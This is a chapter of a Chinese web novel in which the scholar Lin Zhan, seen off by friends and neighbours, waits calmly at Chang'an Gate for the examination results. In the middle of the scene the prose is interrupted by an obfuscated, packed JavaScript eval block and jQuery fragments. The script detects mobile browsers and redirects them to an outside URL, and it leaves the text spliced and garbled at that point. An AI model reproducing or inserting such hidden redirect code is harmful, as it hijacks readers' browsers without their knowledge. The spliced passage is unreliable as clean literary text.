第一百九十五章静待天明


    三月二十一，放榜日。


    天还没亮透，竹石居里已经人影绰绰。但奇怪的是，没有前几日那种紧绷的气氛。


    林湛寅时三刻就醒了，睁眼躺在床上，听着窗外渐起的鸟鸣。没有辗转反侧，没有心跳加速，甚至没有太多杂念。他静静地躺着，直到铁柱轻手轻脚地来敲门：“少爷，该起了。”


    起身穿衣，还是那身深蓝贡士袍。铁柱帮着他整理，嘴里念叨：“赵伯说今儿穿这身去听榜，吉利。”


    林湛低头看了看胸前的鹌鹑补子，忽然想起第一次穿上这身衣裳去殿试时的情景。那时心里满是志忑，现在……现在只剩平静。


    洗漱完走到正厅，青云诸友都已经在了。桌上摆着简单的早食：米粥、馒头、几碟小菜。大家围着桌子坐下，安静地吃起来。


    沈千机咬了口馒头，忽然笑道：“我想起我头回独自押货去江南，出发前一晚怎么也睡不着。可真到了码头，船要开了，心反倒定了——反正该准备的都准备了，剩下的，交给老天爷。”


    王砚之接话：“我考院试那年，放榜前夜，我娘在佛前跪了半宿。我倒是一觉睡到天亮，醒来还奇怪怎么不紧张。”


    “这是好事。”李慕白给每人盛粥，“说明心里有底。”


    周文渊推了推眼镜，难得没拿小本，只道：“从心理学角度讲，当人对一件事的准备达到充分程度，且对结果有一定预期时，焦虑感会自然降低。”


    陈致远闷头喝粥，半晌才说：“边关打仗，冲锋号响之前最难熬。真冲出去了，反而什么都顾不上了。”


    大家你一言我一语，说的都是“不紧张”的道理。林湛听着，慢慢喝着粥。米粥温热，顺着喉咙下去，整个人都暖起来。


    辰时初，该准备出发了。今日所有贡士都要到长安门外观榜，按规矩得穿公服。林湛那身贡士袍已经熨烫平整，官靴也擦得光亮。


    铁柱拿出一个油纸包：“少爷，赵伯蒸的豆沙包，您揣着。万一等得久，垫垫肚子。”


    沈千机则摸出个小瓷瓶：“这是我铺子里特制的薄荷油，提神醒脑。要是站久了发晕，抹点在太阳穴。”


    王砚之递过一块素帕：“擦汗用。今日人多，怕是拥挤。”


    李慕白仔细检查了林湛的衣冠：“袍角平整，腰带端正，靴面干净……好了。”


    周文渊最后上前，推了推眼镜，却没说话，只拍了拍林湛的肩膀。


    陈致远站在门口，已经打开了院门。


    晨光洒进院子，青石板泛着湿漉漉的光。巷子里已经热闹起来——今日放榜，整条街都知道竹石居住着位有望“六元及第”的贡士。不少街坊站在自家门口，朝这边张望。


    卖炊饼的刘大爷拎着个篮子过来，不由分说塞给铁柱：“刚出锅的，热乎！给林相公带着！”


    巷尾吴木匠也来了，手里拿着个小木雕：“我自己刻的，是个‘魁星点斗’。林相公别嫌弃，讨个吉利。”


    连平日不大来往的邻居都探出头来，笑着拱手。


    林湛一一谢过。这些质朴的善意，比任何华丽的祝福都让人温暖。


    辰时二刻，该出发了。陈致远昨日联系的那两位京营旧友已经等在巷口，依旧牵着那匹白马。


    “今日我们送林公子到长安门。”其中一人道，“那边人多，我们认得巡街的弟兄，能找个好位置。”


    林湛上马，回头看了一眼竹石居。院门口，青云诸友站成一排，都在朝他挥手。赵师傅和铁柱站在最前，铁柱使劲挥着手，赵师傅则抹了抹眼睛。


    他朝众人点点头，调转马头。


    长安街已经人山人海。放榜的彩棚搭在长安门外，黄纸金榜还没贴出来，但棚前已经挤满了人：有来看热闹的百姓，有各府派来打探消息的家仆，有等着接新科进士去赴宴的酒楼伙计，还有卖小吃零嘴的小贩在人群中穿梭叫卖。


    两位军士引着林湛绕到彩棚侧面一处稍高的台阶上：“林公子在这儿等，视野好，也不挤。”


    这里已经站了几位贡士，都是前十名的。大家互相见礼，气氛有些微妙——既是对手，又是同科。孙文清也在，朝林湛笑了笑：“林兄来得早。”


    “孙兄也早。”


    两人并肩站着，看向下面黑压压的人群。卖糖葫芦的、吹糖人的、卖风车的，各种叫卖声混在一起，热闹得像个庙会。


    “你看那边，”孙文清指着彩棚旁一处酒楼二楼，“那些窗户都开着，坐着的怕是各家派来观榜的人。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17293212|196937||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    林湛看去，果然，几处临街的窗户后都有人影晃动。有人拿着千里镜，有人正低头记录什么。


    “我听说，”孙文清压低声音，“今科一甲三名的名字，昨夜就已经定下了。只是密封着，要到巳时正才当众启封张贴。”


    这话不知真假，但林湛听了，心里并无波澜。定了就定了，现在想什么都是多余。


    辰时三刻，贡士们陆续到齐。三百多人聚在彩棚前特意划出的区域，一片深蓝色，很是醒目。百姓们指指点点，议论纷纷：


    “看，那就是今科的贡士老爷们！”


    “哪个是林湛？听说要中状元那个？”


    “最前排那个年轻的吧？看着气度就不一样。”


    这些议论飘进耳朵，林湛只当没听见。他静静站着，目光落在彩棚上那块空着的榜墙。那里现在什么都没有，但一个时辰后，将决定这三百多人未来的人生轨迹。


    阳光渐渐升高，晒在身上有些暖意。林湛忽然想起小时候在村里，每年秋收后，村里会在晒谷场张榜公布各户缴粮数。那时他挤在人群里，仰头看着那些陌生的名字和数字，觉得那张黄纸有种神秘的权威。


    现在，他自己成了榜上待公布的名字。


    时间一点点过去。彩棚里，礼部的官员开始忙碌，搬出香案、铜炉、还有那卷用黄绫包裹的金榜。所有贡士都屏息看着。


    巳时初，远处传来礼乐声。一队仪仗缓缓行来，是礼部尚书亲至。场面顿时肃穆起来，百姓的喧哗声低了下去。


    林湛深深吸了口气，又缓缓吐出。


    就在这时，他感觉到一道目光。转头看去，斜后方的人群里，沈千机他们不知何时也来了，正站在一处茶摊的棚子下。见他看来，沈千机咧嘴一笑，比了个“稳住”的手势。周文渊推了推眼镜，王砚之微微点头，李慕白拱手致意，陈致远则一如既往地站得笔直。


    隔着人群，隔着喧嚣，这一眼，却让林湛心里最后那点浮尘都落定了。


    他转回头，重新看向彩棚。礼部尚书已经走上台，开始诵读告天文。声音洪亮，在清晨的空气中回荡。


    林湛站得笔直，袍角在晨风中轻轻拂动。此刻，他什么都不想，只是等待着——平静地等待着，那个即将揭晓的结果。